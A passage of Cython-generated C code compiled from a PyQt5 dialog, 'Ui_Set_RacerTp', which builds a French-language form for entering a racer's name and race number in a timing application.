__Pyx_CodeObjectCacheEntry* entries; }; static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); static PyCodeObject *__pyx_find_code_object(int code_line); static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); /* AddTraceback.proto */ static void __Pyx_AddTraceback(const char *funcname, int c_line, int py_line, const char *filename); /* CIntToPy.proto */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); /* CIntFromPy.proto */ static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); /* CIntFromPy.proto */ static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); /* CheckBinaryVersion.proto */ static int __Pyx_check_binary_version(void); /* InitStrings.proto */ static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); /* Module declarations from 'Ui_Set_RacerTp' */ #define __Pyx_MODULE_NAME "Ui_Set_RacerTp" int __pyx_module_is_main_Ui_Set_RacerTp = 0; /* Implementation of 'Ui_Set_RacerTp' */ static PyObject *__pyx_builtin_object; static const char __pyx_k_Qt[] = "Qt"; static const char __pyx_k__3[] = ""; static const char __pyx_k_Nom[] = "Nom"; static const char __pyx_k_doc[] = "__doc__"; static const char __pyx_k_font[] = "font"; static const char __pyx_k_main[] = "__main__"; static const char __pyx_k_self[] = "self"; static const char __pyx_k_test[] = "__test__"; static const char __pyx_k_OkBtn[] = "OkBtn"; static const char __pyx_k_Prnom[] = "Pr\303\251nom"; static const char __pyx_k_PyQt5[] = "PyQt5"; static const char __pyx_k_QFont[] = "QFont"; static const char __pyx_k_QRect[] = "QRect"; static const char __pyx_k_QSize[] = "QSize"; static const char __pyx_k_QtGui[] = "QtGui"; static const char __pyx_k_label[] = "label"; static const char __pyx_k_Dialog[] = "Dialog"; static const char __pyx_k_QLabel[] = "QLabel"; static const char __pyx_k_QtCore[] = "QtCore"; static const char __pyx_k_accept[] = "accept"; static const char __pyx_k_import[] = "__import__"; static const char __pyx_k_module[] = "__module__"; static const char __pyx_k_object[] = "object"; static const char __pyx_k_reject[] = "reject"; static const char __pyx_k_resize[] = "resize"; static const char __pyx_k_Annuler[] = "Annuler"; static const char __pyx_k_NoFocus[] = "NoFocus"; static const char __pyx_k_QWidget[] = "QWidget"; static const char __pyx_k_Valider[] = "Valider"; static const char __pyx_k_clicked[] = "clicked"; static const char __pyx_k_connect[] = "connect"; static const char __pyx_k_label_6[] = "label_6"; static const char __pyx_k_label_8[] = "label_8"; static const char __pyx_k_prepare[] = "__prepare__"; static const char __pyx_k_setFont[] = "setFont"; static const char __pyx_k_setText[] = "setText"; static const char __pyx_k_setupUi[] = "setupUi"; static const char __pyx_k_R_number[] = "R_number"; static const char __pyx_k_qualname[] = "__qualname__"; static const char __pyx_k_setFrame[] = "setFrame"; static const char __pyx_k_setModal[] = "setModal"; static const char __pyx_k_CancelBtn[] = "CancelBtn"; static const char __pyx_k_QLineEdit[] = "QLineEdit"; static const char __pyx_k_QtWidgets[] = "QtWidgets"; static const char __pyx_k_addWidget[] = "addWidget"; static const char __pyx_k_metaclass[] = "__metaclass__"; static const char __pyx_k_translate[] = "translate"; static const char __pyx_k_R_lastname[] = "R_lastname"; static const char __pyx_k_setEnabled[] = "setEnabled"; static const char __pyx_k_setKerning[] = "setKerning"; static const char __pyx_k_setToolTip[] = "setToolTip"; static const char __pyx_k_QMetaObject[] = "QMetaObject"; static const char __pyx_k_QPushButton[] = "QPushButton"; static const char __pyx_k_QVBoxLayout[] = "QVBoxLayout"; static const char __pyx_k_R_firstname[] = "R_firstname"; static const char __pyx_k_Set_RacerTp[] = "Set_RacerTp"; static const char __pyx_k_setGeometry[] = "setGeometry"; static const char __pyx_k_setReadOnly[] = "setReadOnly"; static const char __pyx_k_setShortcut[] = "setShortcut"; static const char __pyx_k_translate_2[] = "_translate"; static const char __pyx_k_Numro_course[] = "Num\303\251ro course"; static const char __pyx_k_setInputMask[] = "setInputMask"; static const char __pyx_k_setMaxLength[] = "setMaxLength"; static const char __pyx_k_setStatusTip[] = "setStatusTip"; static const char __pyx_k_ImhDigitsOnly[] = "ImhDigitsOnly"; static const char __pyx_k_NoContextMenu[] = "NoContextMenu"; static const char __pyx_k_retranslateUi[] = "retranslateUi"; static const char __pyx_k_setObjectName[] = "setObjectName"; static const char __pyx_k_Ui_Set_RacerTp[] = "Ui_Set_RacerTp"; static const char __pyx_k_setAcceptDrops[] = "setAcceptDrops"; static const char __pyx_k_setAutoDefault[] = "setAutoDefault"; static const char __pyx_k_setFocusPolicy[] = "setFocusPolicy"; static const char __pyx_k_setMinimumSize[] = "setMinimumSize"; static const char __pyx_k_setWindowTitle[] = "setWindowTitle"; static const char __pyx_k_verticalLayout[] = "verticalLayout"; static const char __pyx_k_QCoreApplication[] = "QCoreApplication"; static const char __pyx_k_setMouseTracking[] = "setMouseTracking"; static const char __pyx_k_setAccessibleName[] = "setAccessibleName"; static const char __pyx_k_connectSlotsByName[] = "connectSlotsByName"; static const char __pyx_k_setContentsMargins[] = "setContentsMargins"; static const char __pyx_k_setPlaceholderText[] = "setPlaceholderText"; static const char __pyx_k_setInputMethodHints[] = "setInputMethodHints"; static const char __pyx_k_setContextMenuPolicy[] = "setContextMenuPolicy"; static const char __pyx_k_verticalLayoutWidget[] = "verticalLayoutWidget"; static const char __pyx_k_Ui_Set_RacerTp_setupUi[] = "Ui_Set_RacerTp.setupUi"; static const char __pyx_k_setAccessibleDescription[] = "setAccessibleDescription"; static const char __pyx_k_ImhDialableCharactersOnly[] = "ImhDialableCharactersOnly"; static const char __pyx_k_Ui_Set_RacerTp_retranslateUi[] = "Ui_Set_RacerTp.retranslateUi"; static const char __pyx_k_home_thor_Devel_Transponder_Chr[] = "/home/thor/Devel/Transponder/Chrono/gui/Ui_Set_RacerTp.py"; static PyObject *__pyx_n_u_Annuler; static PyObject *__pyx_n_s_CancelBtn; static PyObject *__pyx_n_u_CancelBtn; static PyObject *__pyx_n_u_Dialog; static PyObject *__pyx_n_s_ImhDialableCharactersOnly; static PyObject *__pyx_n_s_ImhDigitsOnly; static PyObject *__pyx_n_s_NoContextMenu; static PyObject *__pyx_n_s_NoFocus; static PyObject *__pyx_n_u_Nom; static PyObject *__pyx_kp_u_Numro_course; static PyObject *__pyx_n_s_OkBtn; static PyObject *__pyx_n_u_OkBtn; static PyObject *__pyx_n_u_Prnom; static PyObject *__pyx_n_s_PyQt5; static PyObject *__pyx_n_s_QCoreApplication; static PyObject *__pyx_n_s_QFont; static PyObject *__pyx_n_s_QLabel; static PyObject *__pyx_n_s_QLineEdit; static PyObject *__pyx_n_s_QMetaObject; static PyObject *__pyx_n_s_QPushButton; static PyObject *__pyx_n_s_QRect; static PyObject *__pyx_n_s_QSize; static PyObject *__pyx_n_s_QVBoxLayout; static PyObject *__pyx_n_s_QWidget; static PyObject *__pyx_n_s_Qt; static PyObject *__pyx_n_s_QtCore; static PyObject *__pyx_n_s_QtGui; static PyObject *__pyx_n_s_QtWidgets; static PyObject *__pyx_n_s_R_firstname; static PyObject *__pyx_n_u_R_firstname; static PyObject *__pyx_n_s_R_lastname; static PyObject *__pyx_n_u_R_lastname; static PyObject *__pyx_n_s_R_number; static PyObject *__pyx_n_u_R_number; static PyObject *__pyx_n_s_Set_RacerTp; static PyObject *__pyx_n_u_Set_RacerTp; static PyObject *__pyx_n_s_Ui_Set_RacerTp; static PyObject *__pyx_n_s_Ui_Set_RacerTp_retranslateUi; static PyObject *__pyx_n_s_Ui_Set_RacerTp_setupUi; static PyObject *__pyx_n_u_Valider; static PyObject *__pyx_kp_u__3; static PyObject *__pyx_n_s_accept; static PyObject *__pyx_n_s_addWidget; static PyObject *__pyx_n_s_clicked; static PyObject *__pyx_n_s_connect; static PyObject *__pyx_n_s_connectSlotsByName; static PyObject *__pyx_n_s_doc; static PyObject *__pyx_n_s_font; static PyObject *__pyx_kp_s_home_thor_Devel_Transponder_Chr; static PyObject *__pyx_n_s_import; static PyObject *__pyx_n_s_label; static PyObject *__pyx_n_u_label; static PyObject *__pyx_n_s_label_6; static PyObject *__pyx_n_u_label_6; static PyObject *__pyx_n_s_label_8; static PyObject *__pyx_n_u_label_8; static PyObject *__pyx_n_s_main; static PyObject *__pyx_n_s_metaclass; static PyObject *__pyx_n_s_module; static PyObject *__pyx_n_s_object; static PyObject *__pyx_n_s_prepare; static PyObject *__pyx_n_s_qualname; static PyObject *__pyx_n_s_reject; static PyObject *__pyx_n_s_resize; static PyObject *__pyx_n_s_retranslateUi; static PyObject *__pyx_n_s_self; static PyObject *__pyx_n_s_setAcceptDrops; static PyObject *__pyx_n_s_setAccessibleDescription; static PyObject *__pyx_n_s_setAccessibleName; static PyObject *__pyx_n_s_setAutoDefault; static PyObject *__pyx_n_s_setContentsMargins; static PyObject *__pyx_n_s_setContextMenuPolicy; static PyObject *__pyx_n_s_setEnabled; static PyObject *__pyx_n_s_setFocusPolicy; static PyObject *__pyx_n_s_setFont; static PyObject *__pyx_n_s_setFrame; static PyObject *__pyx_n_s_setGeometry; static PyObject *__pyx_n_s_setInputMask; static PyObject *__pyx_n_s_setInputMethodHints; static PyObject *__pyx_n_s_setKerning; static PyObject *__pyx_n_s_setMaxLength; static PyObject *__pyx_n_s_setMinimumSize; static PyObject *__pyx_n_s_setModal; static PyObject *__pyx_n_s_setMouseTracking; static PyObject *__pyx_n_s_setObjectName; static PyObject *__pyx_n_s_setPlaceholderText; static PyObject *__pyx_n_s_setReadOnly; static PyObject *__pyx_n_s_setShortcut; static PyObject *__pyx_n_s_setStatusTip; static PyObject *__pyx_n_s_setText; static PyObject *__pyx_n_s_setToolTip; static PyObject *__pyx_n_s_setWindowTitle; static PyObject *__pyx_n_s_setupUi; static PyObject *__pyx_n_s_test; static PyObject *__pyx_n_s_translate; static PyObject *__pyx_n_s_translate_2; static PyObject *__pyx_n_s_verticalLayout; static PyObject *__pyx_n_u_verticalLayout; static PyObject *__pyx_n_s_verticalLayoutWidget; static PyObject *__pyx_n_u_verticalLayoutWidget; static PyObject *__pyx_pf_14Ui_Set_RacerTp_14Ui_Set_RacerTp_setupUi(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_Set_RacerTp); /* proto */ static PyObject *__pyx_pf_14Ui_Set_RacerTp_14Ui_Set_RacerTp_2retranslateUi(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_Set_RacerTp); /* proto */ static PyObject *__pyx_int_0; static PyObject *__pyx_int_5; static PyObject *__pyx_int_7; static PyObject *__pyx_int_10; static PyObject *__pyx_int_23; static PyObject *__pyx_int_31; static PyObject *__pyx_int_32; static PyObject *__pyx_int_50; static PyObject *__pyx_int_70; static PyObject *__pyx_int_80; static PyObject *__pyx_int_91; static PyObject *__pyx_int_99; static PyObject *__pyx_int_110; static PyObject *__pyx_int_114; static PyObject *__pyx_int_125; static PyObject *__pyx_int_200; static PyObject *__pyx_int_201; static PyObject *__pyx_int_320; static PyObject *__pyx_int_419; static PyObject *__pyx_tuple_; static PyObject *__pyx_tuple__2; static PyObject *__pyx_tuple__4; static PyObject *__pyx_tuple__5; static PyObject *__pyx_tuple__6; static PyObject *__pyx_tuple__7; static PyObject *__pyx_tuple__8; static PyObject *__pyx_tuple__9; static PyObject *__pyx_tuple__10; static PyObject *__pyx_tuple__11; static PyObject *__pyx_tuple__12; static PyObject *__pyx_tuple__13; static PyObject *__pyx_tuple__14; static PyObject *__pyx_tuple__15; static PyObject *__pyx_tuple__16; static PyObject *__pyx_tuple__17; static PyObject *__pyx_tuple__18; static PyObject *__pyx_tuple__19; static PyObject *__pyx_tuple__20; static PyObject *__pyx_tuple__21; static PyObject *__pyx_tuple__22; static PyObject *__pyx_tuple__23; static PyObject *__pyx_tuple__24; static PyObject *__pyx_tuple__25; static PyObject *__pyx_tuple__26; static PyObject *__pyx_tuple__27; static PyObject *__pyx_tuple__28; static PyObject *__pyx_tuple__29; static PyObject *__pyx_tuple__30; static PyObject *__pyx_tuple__31; static PyObject *__pyx_tuple__32; static PyObject *__pyx_tuple__33; static PyObject *__pyx_tuple__34; static PyObject *__pyx_tuple__35; static PyObject *__pyx_tuple__36; static PyObject *__pyx_tuple__37; static PyObject *__pyx_tuple__38; static PyObject *__pyx_tuple__39; static PyObject *__pyx_tuple__40; static PyObject *__pyx_tuple__41; static PyObject *__pyx_tuple__42; static PyObject *__pyx_tuple__43; static PyObject *__pyx_tuple__44; static PyObject *__pyx_tuple__45; static PyObject *__pyx_tuple__46; static PyObject *__pyx_tuple__47; static PyObject *__pyx_tuple__48; static PyObject *__pyx_tuple__49; static PyObject *__pyx_tuple__50; static PyObject *__pyx_tuple__51; static PyObject *__pyx_tuple__52; static PyObject *__pyx_tuple__53; static PyObject *__pyx_tuple__54; static PyObject *__pyx_tuple__55; static PyObject *__pyx_tuple__56; static PyObject *__pyx_tuple__57; static PyObject *__pyx_tuple__58; static PyObject *__pyx_tuple__59; static PyObject *__pyx_tuple__60; static PyObject *__pyx_tuple__61; static PyObject *__pyx_tuple__62; static PyObject *__pyx_tuple__63; static PyObject *__pyx_tuple__64; static PyObject *__pyx_tuple__65; static PyObject *__pyx_tuple__66; static PyObject *__pyx_tuple__67; static PyObject *__pyx_tuple__68; static PyObject *__pyx_tuple__69; static PyObject *__pyx_tuple__70; static PyObject *__pyx_tuple__71; static PyObject *__pyx_tuple__72; static PyObject *__pyx_tuple__73; static PyObject *__pyx_tuple__74; static PyObject *__pyx_tuple__75; static PyObject *__pyx_tuple__77; static PyObject *__pyx_codeobj__76; static PyObject *__pyx_codeobj__78; /* "Ui_Set_RacerTp.py":12 * * class Ui_Set_RacerTp(object): * def setupUi(self, Set_RacerTp): # <<<<<<<<<<<<<< * Set_RacerTp.setObjectName("Set_RacerTp") * Set_RacerTp.resize(419, 114) */ /* Python wrapper */ static PyObject *__pyx_pw_14Ui_Set_RacerTp_14Ui_Set_RacerTp_1setupUi(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_14Ui_Set_RacerTp_14Ui_Set_RacerTp_1setupUi = {"setupUi", (PyCFunction)__pyx_pw_14Ui_Set_RacerTp_14Ui_Set_RacerTp_1setupUi, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_14Ui_Set_RacerTp_14Ui_Set_RacerTp_1setupUi(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_Set_RacerTp = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("setupUi (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_Set_RacerTp,0}; PyObject* values[2] = {0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_Set_RacerTp)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("setupUi", 1, 2, 2, 1); __PYX_ERR(0, 12, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "setupUi") < 0)) __PYX_ERR(0, 12, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 2) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); } __pyx_v_self = values[0]; __pyx_v_Set_RacerTp = values[1]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("setupUi", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 12, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("Ui_Set_RacerTp.Ui_Set_RacerTp.setupUi", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_14Ui_Set_RacerTp_14Ui_Set_RacerTp_setupUi(__pyx_self, __pyx_v_self, __pyx_v_Set_RacerTp); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_14Ui_Set_RacerTp_14Ui_Set_RacerTp_setupUi(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_Set_RacerTp) { PyObject *__pyx_v_font = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; __Pyx_RefNannySetupContext("setupUi", 0); /* "Ui_Set_RacerTp.py":13 * class Ui_Set_RacerTp(object): * def setupUi(self, Set_RacerTp): * Set_RacerTp.setObjectName("Set_RacerTp") # <<<<<<<<<<<<<< * Set_RacerTp.resize(419, 114) * Set_RacerTp.setToolTip("") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_Set_RacerTp, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple_, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":14 * def setupUi(self, Set_RacerTp): * Set_RacerTp.setObjectName("Set_RacerTp") * Set_RacerTp.resize(419, 114) # <<<<<<<<<<<<<< * Set_RacerTp.setToolTip("") * Set_RacerTp.setAccessibleName("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_Set_RacerTp, __pyx_n_s_resize); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_Set_RacerTp.py":15 * Set_RacerTp.setObjectName("Set_RacerTp") * Set_RacerTp.resize(419, 114) * Set_RacerTp.setToolTip("") # <<<<<<<<<<<<<< * Set_RacerTp.setAccessibleName("") * Set_RacerTp.setAccessibleDescription("") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_Set_RacerTp, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__4, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":16 * Set_RacerTp.resize(419, 114) * Set_RacerTp.setToolTip("") * Set_RacerTp.setAccessibleName("") # <<<<<<<<<<<<<< * Set_RacerTp.setAccessibleDescription("") * Set_RacerTp.setModal(True) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_Set_RacerTp, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_Set_RacerTp.py":17 * Set_RacerTp.setToolTip("") * Set_RacerTp.setAccessibleName("") * Set_RacerTp.setAccessibleDescription("") # <<<<<<<<<<<<<< * Set_RacerTp.setModal(True) * self.R_firstname = QtWidgets.QLineEdit(Set_RacerTp) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_Set_RacerTp, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__6, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":18 * Set_RacerTp.setAccessibleName("") * Set_RacerTp.setAccessibleDescription("") * Set_RacerTp.setModal(True) # <<<<<<<<<<<<<< * self.R_firstname = QtWidgets.QLineEdit(Set_RacerTp) * self.R_firstname.setEnabled(True) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_Set_RacerTp, __pyx_n_s_setModal); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_Set_RacerTp.py":19 * Set_RacerTp.setAccessibleDescription("") * Set_RacerTp.setModal(True) * self.R_firstname = QtWidgets.QLineEdit(Set_RacerTp) # <<<<<<<<<<<<<< * self.R_firstname.setEnabled(True) * self.R_firstname.setGeometry(QtCore.QRect(110, 32, 200, 23)) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_v_Set_RacerTp); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_v_Set_RacerTp}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_v_Set_RacerTp}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_INCREF(__pyx_v_Set_RacerTp); __Pyx_GIVEREF(__pyx_v_Set_RacerTp); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_v_Set_RacerTp); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname, __pyx_t_1) < 0) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_Set_RacerTp.py":20 * Set_RacerTp.setModal(True) * self.R_firstname = QtWidgets.QLineEdit(Set_RacerTp) * self.R_firstname.setEnabled(True) # <<<<<<<<<<<<<< * self.R_firstname.setGeometry(QtCore.QRect(110, 32, 200, 23)) * self.R_firstname.setMinimumSize(QtCore.QSize(200, 0)) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setEnabled); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__8, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_Set_RacerTp.py":21 * self.R_firstname = QtWidgets.QLineEdit(Set_RacerTp) * self.R_firstname.setEnabled(True) * self.R_firstname.setGeometry(QtCore.QRect(110, 32, 200, 23)) # <<<<<<<<<<<<<< * self.R_firstname.setMinimumSize(QtCore.QSize(200, 0)) * font = QtGui.QFont() */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QRect); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__9, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if 